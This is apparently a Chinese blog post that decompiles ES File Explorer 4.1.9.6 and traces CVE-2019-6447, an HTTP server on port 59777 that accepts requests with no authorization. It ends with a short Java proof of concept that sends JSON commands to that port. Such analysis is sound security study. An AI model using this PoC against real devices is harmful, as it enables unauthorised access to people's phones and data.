/作者:Kali_MG1937
CSDN博客號:ALDYS4
QQ:3496925334
未經許可,禁止轉載/
漏洞簡介
CVE-2019-6447是Android端上的一個知名軟件:ES文件瀏覽器的未授權訪問漏洞
漏洞造成原因主要是軟件在啓動時會創建一個端口爲59777的HTTP服務器
並且軟件未對HTTP服務器的訪問做任何權限檢查
從而導致攻擊者可利用此漏洞控制受害者的手機
雖然這個洞是在一月份爆出的，那個時候鄙人正在準備考試，所以沒有關注。
所以拖到4月底才發現有這個漏洞，因爲目前主攻安卓編程，所以對這個漏洞很感興趣
所以決定現在來分析它
漏洞分析
0x01>POC解析
漏洞的POC已經被髮布在github上了，先上去看看poc
poc作者對漏洞的描述就是:軟件會在59777端口上開放一個HTTP服務器，可以通過構造特殊payload去請求服務器來完成攻擊
接下來看看poc
可以看到poc是利用Python寫的,poc作者先引入json和一些網絡庫後就開始編寫利用代碼了
execute_cmd函數內傳入了三個參數:
addr//ip地址
cmd//控制受害者手機所執行的命令
package//手機軟件包名
通過閱讀代碼可知
poc是通過構造特殊的json數據來命令ES文件瀏覽器對受害者手機進行一系列操作
0x02>分析漏洞產生原因_服務器建立過程分析
要分析漏洞，首先要下載一個帶有漏洞的ES文件瀏覽器
通過poc作者提供的信息，漏洞在4.1.9.7及以下版本存在
那麼我下載一個4.1.9.6版本進行分析
因爲沒有動態分析工具，所以我選擇直接反編譯的方法對漏洞進行溯源
（表示分析完漏洞後肝少了一個）
分析工具:Eclipse,Jd-gui,apktool,d2j-dex2jar
不用我多說了吧，先利用dex2jar將軟件dex轉爲jar
利用jd-gui轉化爲java代碼
我先在代碼中搜索漏洞利用命令的其中一條:"getDeviceInfo"
發現es/qf.class中包含着漏洞服務器的具體代碼
大致瀏覽一遍
發現com/estrongs/fs/impl/adb/c.class也與漏洞有所相關聯
這裏先不對這個class文件進行分析,在下文會進行分析
接下來先利用apktool反編譯apk的Androidmianfest.xml文件
poc作者說明了：
軟件會在啓動時在59777端口上建立服務器
那麼就要先看看軟件入口了
先看xml文件
軟件入口在:
com.estrongs.android.pop.app.openscreenad.NewSplashActivity
但通過分析發現
這個類只是對app的ui進行初始化
那麼再仔細想想：
再軟件啓動時就執行的類除了清單文件中指定的入口還有什麼？
對了！application屬性中指定的name參數
com.estrongs.android.pop.FexApplication
先查看FexApplication類中最先執行的onCreate()方法
可以看到，oncreate方法內先後調用了q,s,r三個方法
經過排查，q()方法是對權限進行檢查，r()方法是對ui的初始化
重要的是s()方法
上圖中s方法先對sdk進行了一個判斷和處理，這不重要，重要的是s方法最終會調用u方法
u方法中程序向下走,最終執行B方法
B方法內的代碼讓我眼前一亮
它向com.estrong.fs.f類中的a方法傳入了兩個參數
"adb",com.estrongs.fs.impl.adb.c
其中第二個參數就是我在上文中未分析的c.java文件
通過傳入的參數和包名可知
這個c.class文件主要用於處理一些adb相關操作，大致瀏覽該類,發現還和qf.class文件有着聯繫
代碼已經執行到關鍵處
那麼接下來一些無關緊要的執行全部略過，我們只看程序最終執行到的關鍵代碼
在傳入參數後，代碼最終執行到com.estrongs.fs.impl.adb.c類
可以大致瀏覽一下c類,可知此類與adb處理和執行有關
程序最終會將參數傳入此類的一個a方法
可以看到在a方法中,程序最終會執行到紅線處
啓動com.estrongs.android.pop.app.AdbControllerActivity類
並且帶上了兩個參數
“AdbControllerActivity”，嗯，很有趣的類名，對吧
該類中paramBundle成員變量獲取了在c類中執行的adb命令中的向該類傳遞的adbRemoteIp參數
接着程序對paramBundle進行判斷，若值不爲空則繼續執行
注意！程序在判斷通過後執行了qf類的b方法
立刻跟進qf.類中的b方法
該方法會向qf類中的a方法中傳入一個爲false的布爾值
那麼看看qf類的a方法
a方法中paramBoolean參數被傳入了false
注意：其中有一句判斷
if((f!=null)&&(f.c()))
通過分析,f是一個建立套接字的線程
f.c()方法判斷的是這個線程是否死亡
如果線程死亡，paramBoolean會被賦予true值
如果程序正常運行，paramBoolean會被賦予false
程序繼續向下執行
接下來的執行的代碼會讓你興奮
59777，這個數字是不是很熟悉
沒錯，就是漏洞服務器打開的端口
那麼我們來看看這個參數最終傳入到哪裏
可知,qf類的paramString參數被傳入"/sdcard"
並且qf類的e成員被賦值paramString參數
這沒什麼問題，對吧
關鍵是接下來
paramBoolean被賦予false
a被賦值paramBoolean
可是我並沒有在qf類中看到有任何名爲a的成員
我立刻查看了qf類的開頭
qf繼承於qi
也就是說qi內所有公共的變量qf都能操作
立刻查看qi類
可以看到qi類內的a修飾了protected
看來我的判斷沒錯
qf類中的false值最終到達qi類
那麼這裏的protected boolean a=false;有什麼用呢
看代碼,我在圖中做了註釋
之前在qf類內傳入的int值59777最終被傳入到qi類內
最終在qi.a方法中被傳入一個線程內
a方法中創建了一個套接字並開始監聽59777端口
那麼在59777端口上的服務器就建立完成了
可以看到在以上分析過程中程序沒有進行任何訪問權限的限制
0x03>分析漏洞產生原因_分析對服務器接收請求的處理
分析過poc後我們可以知道漏洞服務器通過處理特定json來返回相應的手機信息
服務器對請求的處理主要在qf.java文件中
代碼先判斷請求方式
接着對請求進行了一些簡單判斷，無錯後直接進入執行
可以看到這段代碼就是一個死循環
並且不斷返回paramString1
在對請求進行處理時 程序對命令分析，並根據命令向a方法中傳入對應的值，並且將傳回的值賦值給變量paramString1並返回，顯示在服務器上
那麼來看看a方法
我這裏直接做了分析和註釋
直接看圖吧
最終a方法返回了一個json，顯示在服務器上
可以看到，在對服務器的請求進行處理時也沒有做出任何訪問限制
這就是造成漏洞的直接原因
0x04>利用Java構造POC
原理很簡單，利用HttpUrlConnection向服務器發送請求就好
這裏直接貼代碼和截圖
public static void CVE_2019_6447(String command) throws MalformedURLException, IOException, JSONException{
URL url=new URL("http://127.0.0.1:59777");
HttpURLConnection http=(HttpURLConnection) url.openConnection();
http.setRequestMethod("POST");
http.setDoOutput(true);
http.setReadTimeout(1000);
http.addRequestProperty("Content-Type","application/json");
JSONObject json=new JSONObject();
json.put("command",command);
DataOutputStream out=new DataOutputStream(http.getOutputStream());
out.writeBytes(json.toString());
System.out.println(json.toString());
System.out.println(http.getResponseCode());
BufferedReader br=new BufferedReader(new InputStreamReader(http.getInputStream()));
String line="";
while((line=br.readLine())!=null){
System.out.println(line+"\n");
}
}
到這裏，分析和利用就正式完成了，雖然技術含量不高，但還是學到了很多東西，還請大佬們多多指點